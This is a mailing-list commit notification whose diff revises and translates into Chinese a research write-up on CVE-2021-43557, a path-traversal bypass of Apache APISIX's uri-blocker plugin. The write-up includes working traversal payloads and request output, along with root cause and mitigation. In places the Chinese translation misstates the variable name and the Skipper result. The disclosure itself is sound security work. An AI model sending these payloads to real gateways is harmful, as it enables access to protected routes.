You are viewing a plain text version of this content. The canonical link for it is here.
Posted to notifications@apisix.apache.org by ju...@apache.org on 2021/11/24 00:36:53 UTC

[apisix-website] branch master updated: docs: add CVE-2021-43557 research CN version (#768)

This is an automated email from the ASF dual-hosted git repository.

juzhiyuan pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/apisix-website.git


The following commit(s) were added to refs/heads/master by this push:
     new 6a399b4  docs: add CVE-2021-43557 research CN version (#768)
6a399b4 is described below

commit 6a399b474ea86b535255ef276ce07a33ba2c772d
Author: Sylvia <39...@users.noreply.github.com>
AuthorDate: Wed Nov 24 08:36:45 2021 +0800

    docs: add CVE-2021-43557 research CN version (#768)
---
 .../2021/11/23/cve-2021-43557-research-report.md   | 10 +--
 .../2021/11/23/cve-2021-43557-research-report.md   | 96 +++++++++++++---------
 2 files changed, 61 insertions(+), 45 deletions(-)

diff --git a/website/blog/2021/11/23/cve-2021-43557-research-report.md b/website/blog/2021/11/23/cve-2021-43557-research-report.md
index 2e0bb42..b5cbe42 100644
--- a/website/blog/2021/11/23/cve-2021-43557-research-report.md
+++ b/website/blog/2021/11/23/cve-2021-43557-research-report.md
@@ -26,7 +26,7 @@ In Apache APISIX there is no typical functionality of external authentication/au
 
 ## Setting the stage
 
-Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:
+Install Apache APISIX into Kubernetes. Use Helm Chart with version **0.7.2**:
 
 ```shell
 helm repo add bitnami https://charts.bitnami.com/bitnami
@@ -94,9 +94,9 @@ Let’s dive deep into it:
 
 ## Exploitation
 
-I’m using APISIX in version **2.10.0**.
+I’m using Apache APISIX in version **2.10.0**.
 
-Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`. To ease my pain I will write small script that will work as template:
+Reaching out to Apache APISIX routes in minikube is quite inconvenient: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`. To ease my pain I will write small script that will work as template:
 
 ```shell
 #/bin/bash
@@ -104,7 +104,7 @@ Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec
 kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
 ```
 
-In your case replace `apisix-dc9d99d76-vl5lh` with name of actual APISIX pod.
+In your case replace `apisix-dc9d99d76-vl5lh` with name of actual Apache APISIX pod.
 
 Let’s start with validation if routes and plugins are working as expected:
 
@@ -154,7 +154,7 @@ As you can see in both cases I was able to bypass uri restrictions.
 
 ### Impact
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
+- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to;
 - Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
 
 Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
diff --git a/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md b/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
index 2e0bb42..89d13a9 100644
--- a/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
+++ b/website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "Apache APISIX request_uri 变量控制不当,存在路径穿透风险"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
-- CVE
+- Kubernetes
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中,将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中,将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题,目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后,目前该漏洞已第一时间被修复。同时在文章最后,我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper) 项目。
 
-> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
+> Apache APISIX 是一个动态、实时、高性能的 API 流量处理平台,它提供了丰富的流量管理功能,如负载均衡、动态上游、金丝雀发布、断路器、身份认证、可观测性等。
 
-Why `$request_uri` ? This [variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri) is many times used in authentication and authorization plugins. It’s **not normalized**, so giving a possibility to bypass some restrictions.
+为什么是 `$request_uri`?
 
-In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use `uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.
+[`$request_uri`](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)在认证和授权插件中被多次使用。因为它是**not normalized**,所以就增加了绕过一些限制的可能性。
 
-## Setting the stage
+Apache APISIX 内置多种身份认证插件,当然,你也可以编写自定义插件。为了验证它受到了路径遍历问题的影响,我选择了 `uri-blocker` 插件进行演示。
 
-Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:
+## 开始部署
+
+在这里,我使用了 0.7.2 版本的 Helm Chart 来将 Apache APISIX 部署至 Kubernetes 中:
 
 ```shell
 helm repo add bitnami https://charts.bitnami.com/bitnami
@@ -40,9 +42,9 @@ helm install apisix apisix/apisix \
 kubectl get service --namespace ingress-apisix
 ```
 
-In case of problems follow [official guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).
+> 如果安装时出现问题,请参考[官方指南](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md)。
 
-To create _ingress route_, you need to deploy `ApisixRoute` resource:
+接着,我部署了一条 `ApisixRoute` 资源以便创建 Ingress 路由:
 
 ```yaml
 apiVersion: apisix.apache.org/v2beta1
@@ -86,17 +88,23 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容:
+
+- 为 `public-service` 和 `private-service` 创建路由;
+- 开启 `proxy-rewrite` 来删除前缀;
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求。
+
+## 复现步骤
 
-- It creates routes for `public-service` and `private-service`
-- There is `proxy-rewrite` turned on to remove prefixes
-- There is `uri-blocker` plugin configured for `protected-service`. It can look like mistake but this plugin it about to block any requests starting with `/protected-service`
+在这里,我使用的是 **2.10.0** 版本的 Apache APISIX。
 
-## Exploitation
+选择使用 minikube 来访问 Apache APISIX 路由资源:
 
-I’m using APISIX in version **2.10.0**.
+```shell
+kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
+```
 
-Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`. To ease my pain I will write small script that will work as template:
+此外,我也写了一个脚本来减少重复性操作:
 
 ```shell
 #/bin/bash
@@ -104,9 +112,9 @@ Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec
 kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
 ```
 
-In your case replace `apisix-dc9d99d76-vl5lh` with name of actual APISIX pod.
+> 在尝试复现问题时,可将 `apisix-dc9d99d76-vl5lh`替换为实际的 Apache APISIX Pod 名称。
 
-Let’s start with validation if routes and plugins are working as expected:
+接下来让我们开始验证路由和插件是否按预期正常工作:
 
 ```shell
 $ ./apisix_request.sh "/public-service/public"
@@ -126,9 +134,11 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到,`public-service` 是可用的,`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下 Payload:
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
@@ -136,7 +146,7 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
@@ -144,28 +154,32 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的,在上述两种情况下,我都能够绕过 Uri 的限制。
 
-### Root cause
+### 漏洞解析
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在处理禁止访问的逻辑中使用了 `ctx.var.require_uri` 变量。可以点击[相关代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)进行查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制逻辑,访问本应该禁止的 API;
+- 自定义插件的开发者或许不知道 `ngx.var.request_uri` 变量是不可信任的。
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+在搜索 `var.request_uri` 相关用法时,我猜测上述漏洞或许对 [authz-keycloak](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 插件也有影响。
 
-Search for usage of `var.request_uri` gave me a hint that maybe [authz-keycloak plugin](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) is affected. You can see [this code](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578), it looks really nasty. If there is no normalization on keycloak side, then there is high potential for vulnerablity.
+具体细节详情可以参考[这段代码](https://github.com/apache/apisix/blob/a3d42e66f60673e408cab2e2ceedc58aee450776/apisix/plugins/authz-keycloak.lua#L578)。如果 keycloak 方面没有进行相关规范化,那么出现漏洞的可能性就很大。
 
-### Mitigation
+### 处理措施
 
-In case of custom plugins, I suggest to do path normalization before using `ngx.var.request_uri` variable. There are also two other variables, high probably normalized, to check `ctx.var.upstream_uri` and `ctx.var.uri`.
+关于此漏洞的解决方法,我个人建议如果是使用自定义插件的话,可在使用 `ngx.var.request_uri` 变量前进行路径规范化的相关处理。同时可以额外检查下 `ctx.var.upstream_uri` 和 `ctx.var.uri` 这两个变量,虽然可能已经被规范化了,但防患于未然。
 
 ## Skipper
 
-Skipper is another ingress controller that I have investigated. It’s not easy to install it in kubernetes, because deployment guide and helm charts are outdated. Luckily I have found issue page where developer was describing how to install it. This ingress gives possibility to implement external authentication based on [webhook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook):
+Skipper 是我个人在进行上述安全漏洞调查时接触到的另一个 Ingress Controller。因其内容久远未更新,在 Kubernetes 中安装它并不容易。幸运的是,我在开发者文章里找到了如何安装它的相关内容。
+
+这项 Ingress 提供了基于 [WebHook filter](https://opensource.zalando.com/skipper/reference/filters/#webhook) 实现的外部认证可能性。
 
 ```yaml
 apiVersion: networking.k8s.io/v1
@@ -177,12 +191,14 @@ metadata:
             modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
 ```
 
-To add some interesting headers that could help in access control decision, you need to do it manually with `setRequestHeader` filter. There is template available to inject variable by `${}`. Sadly (for attackers) `${request.path}` is having normalized path. I see in code that developers are not using _easily_ `RequestURI` or `originalRequest`.
+通过添加一些 headers 可以优化访问控制决策,但需要用 `setRequestHeader` 过滤器手动完成。
+
+有一个模板可以通过使用 `${}` 来注入变量,但遗憾的是(对攻击者来说)`${request.path}` 有正常化的路径。在它的开发代码中可以看到,开发人员并没有轻易使用 `RequestURI` 和`originalRequest`。
 
-I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+我没有进行相关的路径遍历测试,或许 Skipper 也是安全可信的一个 Ingress Controller 选择。
 
-## Summary
+## 总结
 
-Apache APISIX is vulnerable for path traversal. It’s not affecting any external authentication, but plugins that are using `ctx.var.request_uri` variable.
+虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞,但该漏洞并不影响任何外部认证,只是影响了使用 `ctx.var.request_uri` 变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复,目前已没有安全漏洞问题,大家可放心使用。
 
-Whole code of this example is here [https://github.com/xvnpw/k8s-CVE-2021-43557-poc](https://github.com/xvnpw/k8s-CVE-2021-43557-poc).
+关于本文中提到的全部代码都可以在[这里](https://github.com/xvnpw/k8s-CVE-2021-43557-poc)进行查阅参考。